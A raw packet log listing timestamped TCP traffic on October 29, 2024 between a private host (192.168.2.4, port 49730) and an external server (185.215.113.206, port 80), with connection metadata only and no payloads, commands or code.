Oct 29, 2024 04:52:11.863465071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.864239931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.864253998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.864265919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.864279032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.864289999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.864295959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.864334106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.865169048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.865183115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.865195036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.865206957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.865226030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.865262032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.866229057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.866241932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.866252899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.866266012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.866277933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.866288900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.866306067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.866339922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.866934061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.866947889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.866957903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.866971016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.866996050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.867034912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.867791891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.867811918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.867844105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.867882013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.935911894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.936022997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.936036110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.936048031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.936094999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.936285019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.936357975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.936467886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.936479092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.936513901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.936763048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.936775923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.936786890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.936809063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.936866045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.937289000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.937299967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.937309980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.937325001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.937376976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.937429905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.937906027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.937917948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.937959909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.938246965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.938260078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.938271999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.938286066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.938294888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.938338041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.939152956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.939166069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.939177036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.939188957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.939198971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.939213991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.939246893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.939994097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.940007925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.940046072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.940080881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.978087902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.978153944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.978188992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.978230953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.978410006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.978420973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.978477955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.978703022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.978713989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.978760004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.978964090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.978976011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.978987932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.979012966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.979037046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.979537010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.979547024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.979557037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.979569912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.979581118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.979590893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.979614019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.979652882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.980389118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.980401039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.980412006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.980422974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.980433941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.980456114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.980489016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.981309891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.981323004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.981331110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.981343031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.981357098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.981369972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.981403112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.982188940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.982203007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.982213020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.982225895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.982237101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.982243061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.982295036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.983086109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.983098030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.983109951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.983120918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.983128071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.983165979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.983984947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.983998060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.984008074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.984020948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.984031916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.984035969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.984087944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.984875917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.984888077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.984899044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.984911919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.984931946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.984962940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.985778093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.985790014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.985800028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.985812902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.985824108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.985829115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.985860109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.985940933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.054016113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.054075003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.054107904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.054119110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.054153919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.054183006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.054378986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.054389000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.054433107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.054666042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.054676056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.054687977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.054698944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.054713964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.054739952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.055229902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.055282116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.055283070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.055294037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.055305958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.055326939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.055377007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.055964947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.056026936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.056154013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.056164980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.056175947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.056186914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.056199074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.056237936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.056971073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.056983948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.056993008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.057004929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.057017088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.057018995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.057044983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.057084084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.057725906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.057774067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.095794916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.095886946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.095907927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.095917940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.096004009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.096185923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.096196890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.096206903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.096218109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.096267939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.096329927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.096786976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.096837997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.097009897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.097019911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.097065926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.097242117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.097253084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.097263098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.097275972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.097292900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.097330093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.098191023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.098201990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.098212957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.098226070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.098241091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.098264933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.098731995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.098742962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.098752975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.098762989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.098773003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.098778963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.098813057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.098826885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.099539995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.099550009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.099560022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.099569082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.099585056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.099632978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.100159883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.100172043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.100182056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.100193024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.100203037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.100208998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.100260019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.100955009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.100965977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.100976944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.100990057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.100999117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.101036072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.101758957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.101772070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.101780891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.101794004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.101809025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.101843119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.102567911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.102580070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.102590084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.102601051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.102611065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.102617979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.102622032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.102641106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.102668047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.103385925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.103396893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.103406906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.103416920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.103456974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.103487015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.103945971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.103996992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.171514034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.171603918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.171612978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.171622992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.171662092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.171770096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.171816111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.171838999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.171884060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.172029018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.172039986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.172049046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.172075987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.172122955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.172291040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.172307968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.172341108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.172358990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.172591925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.172641993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.172724009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.172735929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.172745943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.172760010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.172770977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.172825098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.173428059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.173439980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.173449039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.173460960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.173472881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.173486948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.173491001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.173530102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.174356937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.174367905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.174379110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.174390078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.174401999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.174438953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.174474001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.213618994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.213722944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.213730097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.213735104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.213762045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.213788986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.214031935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.214085102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.214217901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.214274883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.214379072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.214390993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.214401007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.214413881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.214432001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.214474916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.214977980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.214988947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.214998960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.215013027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.215023994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.215033054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.215037107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.215059996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.215086937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.215822935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.215831995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.215842009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.215852976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.215862989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.215873003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.215889931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.215923071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:12.216670990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.216681957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.216692924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:12.216703892 CET	80	49730	185.215.113.206	192.168.2.4
